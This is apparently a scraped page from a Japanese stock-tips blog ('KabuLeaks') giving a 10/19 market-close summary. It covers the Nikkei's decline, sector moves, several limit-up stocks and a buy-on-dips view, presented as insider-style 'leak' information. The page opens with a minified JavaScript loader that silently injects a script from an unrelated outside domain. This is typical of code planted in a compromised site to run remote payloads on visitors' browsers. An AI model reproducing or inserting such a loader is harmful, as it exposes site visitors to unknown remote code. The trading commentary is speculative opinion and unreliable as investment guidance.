;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/19 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/19 大引け】

本日の日経平均株価は160円安と3営業日ぶりの反落。後場寄りこそは中国GDPの結果を受け過度の警戒が後退から買い戻しが先行、一時プラス圏に浮上する場面があった。ただ、日米決算本格化への見極め、戻りの弱さなどから再び軟化。東証1部の売買代金は8月17日以来の2兆円割れとなった。業種別では、その他製品、建設業、小売業、水産・農林業が上昇率上位に。一方、ゴム製品、非鉄金属、鉄鋼、卸売業などが値下がり率上位となった。

個別では、先週末に韓国プレイワークス社が開発したスマートフォンゲーム「Arcane(アーケイン)」のサービス提供について、ライセンス契約を締結したと発表したことが引き続き買い材料視された【4777】ガーラが2営業日連続のストップ高。マンション傾斜問題を受けて関心高まる【1717】明豊ファシリティワークスが後場一段高でストップ高まで上昇したほか、データ不正問題でビジネスチャンス拡大の思惑から【6171】土木管理総合試験所などの上昇も目立った。その他、業績上方修正から【4922】コーセー、【2307】クロスキャットなどが買われた。

後場は中国指標への過度の警戒後退から一時プラ転も結局は買いが続かず再び売られる展開。ただ、毎回言うように政策期待、月末会合での緩和期待など根強い間は積極的に押し目買い。急落局面は押し目買いからの吹き値売り、一部会合まで持ち越しといった感じで問題ないだろう。